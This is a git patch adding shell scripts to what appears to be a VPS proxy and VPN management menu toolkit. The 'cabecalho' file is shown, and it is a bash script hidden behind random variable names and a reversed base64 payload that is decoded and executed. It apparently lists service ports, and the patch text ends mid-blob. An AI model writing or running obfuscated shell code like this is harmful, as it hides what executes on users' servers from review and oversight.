From c07bea6ab264b19856435fc4989832088c0c87d4 Mon Sep 17 00:00:00 2001 From: "@drowkid01" Date: Mon, 26 May 2025 15:51:35 -0600 Subject: [PATCH] main --- Lista/0 | 0 Lista/cabecalho | 603 ++++++- Lista/ferramentas | 619 ++++++- Lista/menu | 892 +++++++++- Lista/menu-i.sh | 162 ++ Lista/menu_credito | 1 - Lista/menu_inst | 3144 ++++++++++++++++++++++++++++++++- Lista/msg | 225 +++ Lista/payloads | 0 Lista/protos.sh | 3935 ++++++++++++++++++++++++++++++++++++++++++ Lista/shadowsocks.sh | 1249 +++++++++++++- Lista/ultrahost | 81 +- Lista/usercodes | 2039 +++++++++++++++++++++- Lista/v-local.log | 1 - Lista/x | 127 ++ 15 files changed, 13068 insertions(+), 10 deletions(-) create mode 100644 Lista/0 create mode 100755 Lista/menu-i.sh delete mode 100644 Lista/menu_credito create mode 100644 Lista/msg mode change 100644 => 100755 Lista/payloads create mode 100755 Lista/protos.sh delete mode 100644 Lista/v-local.log create mode 100755 Lista/x diff --git a/Lista/0 b/Lista/0 new file mode 100644 index 0000000..e69de29 diff --git a/Lista/cabecalho b/Lista/cabecalho index f746cdc..d683f46 100755 --- a/Lista/cabecalho +++ b/Lista/cabecalho @@ -1,2 +1,603 @@ #!/bin/bash -oJNgNRIdnhZEoZQcHPiSSldetuKfHRWJuWtGZWkRpiUCyEUBIYJLxwnTYNjpCXdTXxoxaTYRZLHuhQmJOKxsucyExhoDcNlzFPwx="KaxLUyEFSxIMxzQISeRNZjAMCDoyCWVuXiTQAsNByqQhPPaEpxhuPasswPKybALiIfcrtGWvmptCYosulJxaTNGJaidJXKqqFoOz";jYwGUIHpJKsWGtvLPrNlYGAWslwdxXLfbqIyQCFPgKATvmwJNAfYXvSVDtxnUqimQfFpbOQapIGUvLlasyblNuoRKCsqYWNEukYl="FTfsNrTLXOriLyNZkJBteapGTNwsyowvwdGePLCcvWGaUzppyGlyWPLEGNzxTAjYocaqZOfvPTbCuGBCEnmKLqaaADJQmCPLIGII";sAgrpjVFCmqlsIxIaJRzWwRKssmWHGOoslIkhUXhpQbWvMeLVNEqTcaDbLmKuxGbVKrrzNYroLPOAIhfdeZTjHmQoHBvzDnQDbOJ="ch";xStDqIwOalOuMZRQUTPniSpgEaEXOavFsNmYuVQAgQYhKUgjLhlkSMaIlUMmBszqpspohXyhEedTHDfZFrlieIbdcqSFkKhwUrws="4";sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI="";xKZhCpbyRkXuifEihEsiSUQGDvrSnOtgLTGoBXocKumEzHdZlEbJxjGCRyFhJAOyLDmFQawKMuRAKEOfECbSUmiShDhVSokWDgBZ="hOAiPXAGhscDroXjakCAhJcivqpgBdtGBRAYFiqKKGHWzVDCMNgtgSItkWefPkWcPknbOzGhmDHHIlTtLJrYrDdidjyLOEFYKbyA";jOzAMykRjgRMtsDJxulDBLOMXksBQvUbrLGIHRjCfyqmCvpoxceCPSogSoLYoQcleEFQHuUoRObFyzkuECtdCcPLWkZCreGPkaxo=" ==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